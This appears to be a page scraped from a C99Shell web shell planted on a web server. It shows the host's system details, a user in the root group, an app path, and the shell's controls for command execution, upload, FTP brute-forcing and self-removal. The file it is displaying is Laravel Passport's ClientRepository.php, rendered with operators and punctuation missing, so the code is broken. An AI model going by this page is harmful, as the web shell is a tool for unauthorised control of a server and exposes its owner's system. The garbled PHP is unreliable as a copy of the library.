!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/vendor/laravel/passport/src/Bridge/   drwxr-xr-x
Free 28.45 GB of 117.98 GB (24.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ClientRepository.php (2.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Passport\Bridge;

use 
Laravel\Passport\ClientRepository as ClientModelRepository;
use 
Laravel\Passport\Passport;
use 
League\OAuth2\Server\Repositories\ClientRepositoryInterface;

class 
ClientRepository implements ClientRepositoryInterface
{
    
/**
     * The client model repository.
     *
     * @var \Laravel\Passport\ClientRepository
     */
    
protected $clients;

    
/**
     * Create a new repository instance.
     *
     * @param  \Laravel\Passport\ClientRepository  $clients
     * @return void
     */
    
public function __construct(ClientModelRepository $clients)
    {
        
$this->clients $clients;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getClientEntity($clientIdentifier)
    {
        
$record $this->clients->findActive($clientIdentifier);

        if (! 
$record) {
            return;
        }

        return new 
Client(
            
$clientIdentifier,
            
$record->name,
            
$record->redirect,
            
$record->confidential(),
            
$record->provider
        
);
    }

    
/**
     * {@inheritdoc}
     */
    
public function validateClient($clientIdentifier$clientSecret$grantType)
    {
        
// First, we will verify that the client exists and is authorized to create personal
        // access tokens. Generally personal access tokens are only generated by the user
        // from the main interface. We'll only let certain clients generate the tokens.
        
$record $this->clients->findActive($clientIdentifier);

        if (! 
$record || ! $this->handlesGrant($record$grantType)) {
            return 
false;
        }

        return ! 
$record->confidential() || $this->verifySecret((string) $clientSecret$record->secret);
    }

    
/**
     * Determine if the given client can handle the given grant type.
     *
     * @param  \Laravel\Passport\Client  $record
     * @param  string  $grantType
     * @return bool
     */
    
protected function handlesGrant($record$grantType)
    {
        if (
is_array($record->grant_types) && ! in_array($grantType$record->grant_types)) {
            return 
false;
        }

        switch (
$grantType) {
            case 
'authorization_code':
                return ! 
$record->firstParty();
            case 
'personal_access':
                return 
$record->personal_access_client && $record->confidential();
            case 
'password':
                return 
$record->password_client;
            case 
'client_credentials':
                return 
$record->confidential();
            default:
                return 
true;
        }
    }

    
/**
     * Verify the client secret is valid.
     *
     * @param  string  $clientSecret
     * @param  string  $storedHash
     * @return bool
     */
    
protected function verifySecret($clientSecret$storedHash)
    {
        return 
Passport::$hashesClientSecrets
                    
password_verify($clientSecret$storedHash)
                    : 
hash_equals($storedHash$clientSecret);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--